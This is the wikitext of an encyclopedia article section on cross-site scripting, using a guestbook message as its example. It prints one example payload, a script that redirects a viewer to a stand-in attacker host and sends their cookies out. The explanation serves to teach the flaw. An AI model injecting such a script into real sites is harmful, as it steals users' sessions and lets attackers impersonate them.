Editing Code injection (section)

=== Cross-site scripting ===
{{Main|Cross-site scripting}}
Code injection is the malicious injection or introduction of code into an application. Some [[web server]]s have a [[guestbook]] script, which accepts small messages from users and typically receives messages such as:
 <nowiki>Very nice site!</nowiki>
However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as:
<syntaxhighlight lang="html">Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script></syntaxhighlight>
If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.

HTML and script injection are popular subjects, commonly termed "[[cross-site scripting]]" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.<ref name=HopeWalther>{{cite book|last1=Hope|first1=Brian|last2=Hope|first2=Paco|last3=Walther|first3=Ben|title=Web Security Testing Cookbook|url=https://archive.org/details/websecuritytesti00hope|url-access=registration|date=15 May 2009|publisher=[[O'Reilly Media]]|location=Sebastopol, CA|isbn=978-0-596-51483-9|page=[https://archive.org/details/websecuritytesti00hope/page/254 254]|oclc=297573828}}</ref>